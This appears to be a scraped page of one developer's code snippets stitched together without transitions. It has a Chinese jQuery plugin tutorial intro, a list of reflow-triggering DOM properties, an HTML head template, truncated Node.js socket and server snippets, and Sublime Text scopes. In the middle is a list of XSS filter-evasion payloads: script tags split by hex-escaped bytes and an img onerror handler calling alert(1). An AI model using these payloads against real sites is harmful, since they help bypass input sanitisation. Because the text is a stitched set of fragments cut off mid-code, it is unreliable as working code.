Fucheng Yang yangfch3

译自 jQuery Plugins / Authoring

创建插件

看来 jQuery 你已经用得很爽了，想学习如何自己编写插件。非常好，这篇文档正适合你。用插件和方法来扩展 jQuery 非常强大，把最聪明的功能封装到插件中可以为你及团队节省大量开发时间。

开始

What forces layout / reflow

All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.

Element

Box metrics

elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent
elem.clientLeft, elem.clientTop, elem.clientWidth, elem.clientHeight
elem.getClientRects(), elem.getBoundingClientRect()

常用的 HTML 头部标签

详细介绍参见原文：yisibl/blog#1

<!DOCTYPE html> <!-- 使用 HTML5 doctype，不区分大小写 -->
<html lang="zh-cmn-Hans"> <!-- 更加标准的 lang 属性写法 http://zhi.hu/XyIa -->
<head>
    <meta charset='utf-8'> <!-- 声明文档使用的字符编码 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> <!-- 优先使用 IE 最新版本和 Chrome -->

	/**
	* Requires node v0.7.7 or greater.
	*
	* To connect: $ curl -sSNT. localhost:8000
	*/

	var http = require('http')
	, repl = require('repl')
	, buf0 = new Buffer([0])

	var net = require('net')

	var sock = net.connect(1337)

	process.stdin.pipe(sock)
	sock.pipe(process.stdout)

	sock.on('connect', function () {
	process.stdin.resume();
	process.stdin.setRawMode(true)

	<script\x20type="text/javascript">javascript:alert(1);</script>
	<script\x3Etype="text/javascript">javascript:alert(1);</script>
	<script\x0Dtype="text/javascript">javascript:alert(1);</script>
	<script\x09type="text/javascript">javascript:alert(1);</script>
	<script\x0Ctype="text/javascript">javascript:alert(1);</script>
	<script\x2Ftype="text/javascript">javascript:alert(1);</script>
	<script\x0Atype="text/javascript">javascript:alert(1);</script>
	'`"><\x3Cscript>javascript:alert(1)</script>
	'`"><\x00script>javascript:alert(1)</script>
	<img src=1 href=1 onerror="javascript:alert(1)"></img>

	const http = require('http')
	const url = require('url')
	const path = require('path')
	const fs = require('fs')
	const mime = {
	"html": "text/html",
	"css": "text/css",
	"js": "text/javascript",
	"json": "application/json",
	"gif": "image/gif",

	// Wikipedia telnet server
	//
	// To install depenedncies:
	// npm install request
	// npm install cheerio
	//

	var net = require( 'net' );
	var cheerio = require('cheerio');
	var request = require('request');

	Here is a list of scopes to use in Sublime Text 2 snippets -

	ActionScript: source.actionscript.2
	AppleScript: source.applescript
	ASP: source.asp
	Batch FIle: source.dosbatch
	C#: source.cs
	C++: source.c++
	Clojure: source.clojure
	CoffeeScript: source.coffee